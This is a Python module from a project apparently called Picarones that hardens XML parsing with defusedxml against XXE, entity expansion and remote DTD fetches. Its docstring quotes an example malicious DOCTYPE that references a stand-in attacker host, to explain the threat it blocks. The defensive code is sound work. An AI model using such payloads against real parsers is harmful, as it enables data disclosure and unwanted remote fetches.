File size: 2,144 Bytes
f3772fd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
2905909
 
 
 
 
 
 
 
 
 
f3772fd
 
 
 
 
 
 
2905909
f3772fd
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
"""Parsing XML sécurisé — anti-XXE / Billion Laughs / DTD retrieval.

Helper transverse appliqué partout où Picarones parse du XML reçu
depuis une source externe (corpus uploadé via le web, manifeste
Gallica, ALTO produit par un module ``BaseModule`` tiers, etc.).

Délègue à :mod:`defusedxml` (dépendance dure du projet) qui durcit
le parser stdlib contre :

- **XXE** (``XML External Entity``) — résolution d'entités vers
  des fichiers locaux ou des URL distantes.
- **Billion Laughs** — expansion exponentielle d'entités.
- **DTD retrieval** — fetch d'une DTD distante.

Discipline : tout module qui parse du XML doit utiliser
``safe_parse_xml`` plutôt que ``xml.etree.ElementTree.fromstring``
directement.

Module nommé avec un ``_`` initial : c'est un détail
d'implémentation du package ``formats`` ; les callers passent par
``picarones.formats.xml.safe_parse_xml`` (re-export public au
niveau du package).
"""

from __future__ import annotations

import xml.etree.ElementTree as ET
from typing import Optional

import defusedxml
import defusedxml.ElementTree as _SafeET


def safe_parse_xml(xml_bytes: bytes) -> Optional[ET.Element]:
    """Parse du XML en bloquant entités externes ET ``<!DOCTYPE>``.

    Sprint S1.4 — durcissement : ``forbid_dtd=True`` ajouté en plus
    des défauts ``defusedxml`` (``forbid_entities=True``,
    ``forbid_external=True``).  Sans ``forbid_dtd``, un payload
    ``<?xml...?><!DOCTYPE root SYSTEM "http://attacker/evil.dtd">``
    est accepté (le fetch est bloqué par ``forbid_external`` mais
    le DOCTYPE traverse le parser).  ALTO 4 et PAGE XML utilisent
    ``xmlns`` plutôt que DOCTYPE — le durcissement est sans
    régression sur le corpus institutionnel.

    Retourne ``None`` si le payload n'est pas un XML valide ou si
    ``defusedxml`` détecte une attaque
    (``EntitiesForbidden``, ``ExternalReferenceForbidden``,
    ``DTDForbidden``, ``NotSupportedError``).
    """
    try:
        return _SafeET.fromstring(xml_bytes, forbid_dtd=True)
    except (ET.ParseError, defusedxml.DefusedXmlException):
        return None


__all__ = ["safe_parse_xml"]